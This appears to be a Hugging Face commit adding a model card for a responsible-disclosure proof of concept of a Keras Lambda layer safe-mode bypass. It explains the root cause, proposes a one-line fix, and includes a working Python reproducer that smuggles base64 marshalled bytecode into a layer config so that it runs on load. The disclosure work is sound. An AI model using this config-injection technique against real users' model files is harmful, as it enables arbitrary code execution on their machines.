kevintsai1202 commited on
Commit
b6a1ec5
·
verified ·
1 Parent(s): c816e7d

Add model card for Keras Lambda bypass PoC

Browse files
Files changed (1) hide show
  1. README.md +62 -0
README.md ADDED
@@ -0,0 +1,62 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ tags:
3
+ - security-research
4
+ - vulnerability-poc
5
+ license: mit
6
+ ---
7
+
8
+ # Keras Lambda safe_mode=None Bypass PoC
9
+
10
+ **Security Research Only — Do NOT use this model**
11
+
12
+ ## Vulnerability
13
+
14
+ - **Package**: `keras` (PyPI, v3.14.1)
15
+ - **File**: `keras/src/layers/core/lambda_layer.py`
16
+ - **Method**: `Lambda._raise_for_lambda_deserialization(safe_mode)`
17
+ - **Root cause**: `if safe_mode:` treats `None` as falsy → bypass when no SafeModeScope
18
+
19
+ ## Description
20
+
21
+ `Lambda.from_config(config, safe_mode=None)` (the default) combined with no active
22
+ `SafeModeScope` causes `safe_mode = None or None = None`. The check `if None:` evaluates
23
+ to `False`, skipping the safety guard and calling `marshal.loads()` on attacker-controlled
24
+ bytecode.
25
+
26
+ `TFSMLayer.from_config()` correctly uses `if effective_safe_mode is not False:` which
27
+ blocks `None`. Lambda diverges from this stronger pattern.
28
+
29
+ ## Minimal Reproducer
30
+
31
+ ```python
32
+ from keras.src.layers.core.lambda_layer import Lambda
33
+ from keras.src.saving import serialization_lib
34
+ import marshal, codecs
35
+
36
+ # No SafeModeScope active → in_safe_mode() returns None
37
+ evil_fn = lambda x: open("pwned.txt", "w").write("RCE") or x
38
+ code_b64 = codecs.encode(marshal.dumps(evil_fn.__code__), "base64").decode()
39
+
40
+ evil_config = {
41
+ "name": "evil", "trainable": True,
42
+ "dtype": {"module": "keras", "class_name": "DTypePolicy",
43
+ "config": {"name": "float32"}, "registered_name": None},
44
+ "function": {"class_name": "__lambda__",
45
+ "config": {"code": code_b64, "defaults": None, "closure": None}},
46
+ "arguments": {},
47
+ }
48
+
49
+ layer = Lambda.from_config(evil_config) # No ValueError → bypass!
50
+ import tensorflow as tf
51
+ layer(tf.constant([1.0])) # Writes pwned.txt
52
+ ```
53
+
54
+ ## Fix
55
+
56
+ ```python
57
+ # Change in _raise_for_lambda_deserialization:
58
+ if safe_mode is not False: # handles None correctly (like TFSMLayer)
59
+ raise ValueError(...)
60
+ ```
61
+
62
+ *Uploaded by kevintsai1202 for responsible disclosure via Huntr.*